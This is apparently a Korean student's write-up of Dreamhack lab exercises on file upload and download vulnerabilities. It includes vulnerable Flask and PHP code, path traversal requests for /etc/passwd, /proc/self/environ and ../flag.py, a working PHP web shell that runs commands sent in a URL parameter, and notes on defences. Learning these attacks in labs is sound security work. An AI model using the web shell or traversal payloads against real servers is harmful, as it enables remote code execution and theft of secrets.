[Dreamhack] STAGE8. File Vulnerability (2)
Web Hacking - ServerSide : File Vulnerability (2)
- File Download Vulnerability 실습
- 함께 실습 : image-storage
- 혼자 실습 : file-download-1
File Download Vulnerability
파일 다운로드 취약점은 웹 서비스를 통해 서버의 파일 시스템에 존재하는 파일을 내려받는 과정에서 발생하는 보안 취약점이며, 이용자가 다운로드할 파일의 이름을 임의로 정할 수 있을 때 발생한다. 웹 서비스는 이용자가 파일을 다운받거나, 이미지를 불러올 때 특정 디렉토리에 있는 파일만 접근하도록 해야하는데, Path Traversal을 이용한 파일 다운로드 취약점은 파일 이름을 직접 입력받아 임의 디렉토리에 있는 파일을 다운로드 받을 수 있는 취약점을 뜻한다.
파일 다운로드 취약점이 자주 발생하는 URL 패턴 |
---|
https://vulnerable-web.dreamhack.io/download/?filename=notes.txt |
https://vulnerable-web.dreamhack.io/download/?filename=../../../../../../etc/passwd |
https://vulnerable-web.dreamhack.io/images.php?fn=6ed0dd02806fa89e233b84f4.png |
File Download Vulnerability 실습
아래는 실습 서버 코드이다. 환경 변수로부터 가지고 오는 Secret 값을 파일 다운로드 취약점을 이용해 획득해보자
# ...
Secret = os.environ("Secret")
# ...
@app.route("/download")
def download():
filename = request.args.get("filename")
content = open("./uploads/" + filename, "rb").read()
return content
# ...
프로세스의 환경변수는 /proc/self/environ에서 확인할 수 있으며, 이용자가 프로세스 호출 전 환경변수를 bash의 명령어로 설정했다면, .bash_history에서도 이를 알 수 있다. 아래는 proc/self/environ에서 Secret 값을 읽은 사진이다
File Vulnerability 방지하기
업로드 취약점을 막으려면 개발자는 업로드 디렉토리를 웹 서버에서 직접 접근할 수 없도록 하거나, 업로드 디렉토리에서 CGI가 실행되지 않도록 해야하며, 업로드 된 파일 이름을 그대로 사용하지 않고 basepath와 같은 함수를 통해 파일 이름을 검증한 후 사용해야 한다. 또한, 허용할 확장자를 명시하여 그 외 확장자는 업로드될 수 없도록 해야한다.
다운로드 취약점을 막으려면 요청된 파일 이름을 basepath와 같은 함수를 통해 검증하거나, 파일 이름과 1:1 맵핑되는 키를 만들어 이용자로부터 파일 이름이 아닌 키를 요청하도록 해야한다
함께 실습 : image-storage
파일 업로드 취약점을 이용해 flag.txt에 있는 Flag 획득하기
웹 서비스 분석
인덱스 페이지
list.php와 upload.php로 이동하는 메뉴 출력
<li><a href="/">Home</a></li>
<li><a href="/list.php">List</a></li>
<li><a href="/upload.php">Upload</a></li>
파일 목록 리스팅
list.php는 $directory의 파일 중 ., .., index.html을 제외하고 나열한다
<?php
$directory = './uploads/';
$scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
foreach ($scanned_directory as $key => $value) {
echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
}
?>
파일 업로드
upload.php는 이용자가 업로드한 파일을 uploads 폴더에 복사하며 이용자는 http://host1.dreamhack.games:[PORT]/uploads/[FILENAME] 를 통해 접근할 수 있다. 같은 이름의 파일이 존재한다면 already exists라는 메세지를 반환한다. 업로드할 파일에 대한 어떠한 검사도 진행하지 않으므로, 웹 셸 업로드 공격에 취약하다.
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES)) {
$directory = './uploads/';
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
if (file_exists($directory . $name)) {
echo $name . " already exists. ";
}else {
if(move_uploaded_file($tmp_name, $directory . $name)){
echo "Stored in: " . $directory . $name;
}
}
}
}else {
echo "Error !";
}
die();
}
?>
익스플로잇
아래와 같은 php 웹셸 작성 후 업로드
<html><body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form><pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?></pre></body></html>
업로드가 끝나면, 저장된 위치를 다음과 같이 보여준다
위 경로로 이동하여 업로드 된 파일을 연다
시스템 명령어 cat /flag.txt 를 통해 flag.txt에 저장된 글을 읽어온다
위와 같은 공격으로부터 서비스를 보호하려면 ?
파일 업로드와 관련된 코드에 여러 검사 로직을 추가해야한다. 이 중 대표적인 방법은 파일의 확장자를 제한하는 것이다. 웹 리소스는 크게 정적 리소스와 동적 리소스로 분류할 수 있으며, 정적 리소스는 이미지, 비디오와 같이 서버에서 실행되지 않는 리소스, 동적 리소스는 php, jsp와 같이 서버에서 실행되는 것들을 가리킨다. 동적 리소스의 확장자를 제한하면 파일 업로드 취약점을 통한 RCE(Remote Code Execution : 원격 코드 실행) 공격으로부터 서버를 보호할 수 있다.
또 다른 방법은 AWS, Azure, GCP 등의 정적 스토리지를 이용하는 것이다. 이는 서버의 파일 시스템을 이용하지 않기 때문에 파일 업로드 취약점이 웹 서버 공격으로 이어지는 것을 방지할 수 있다.
혼자 실습 : file-download-1
파일 다운로드 취약점이 존재하는 웹 서비스로, flag.py를 다운받으면 플래그를 획득할 수 있다.
@APP.route('/read')
def read_memo():
error = False
data = b''
filename = request.args.get('name', '')
try:
with open(f'{UPLOAD_DIR}/{filename}', 'rb') as f:
data = f.read()
except (IsADirectoryError, FileNotFoundError):
error = True
return render_template('read.html',
filename=filename,
content=data.decode('utf-8'),
error=error)
위와 같은 read 페이지의 코드를 살펴보면, name 파라미터 값으로 파일 이름을 확인하는 것을 알 수 있다. 이를 확실히 확인하기 위해, 임의의 글을 업로드 후 접근해보았다. 아래와 같이 temp라는 이름의 파일에 접근할 때에는 호스트:포트/read?name=temp 의 주소를 가지는 것을 볼 수 있다.
이를 바탕으로 name 파라미터의 값을 ../flag.py로 입력하여 주소를 이동하면 다음과 같이 flag에 대한 정보를 얻을 수 있다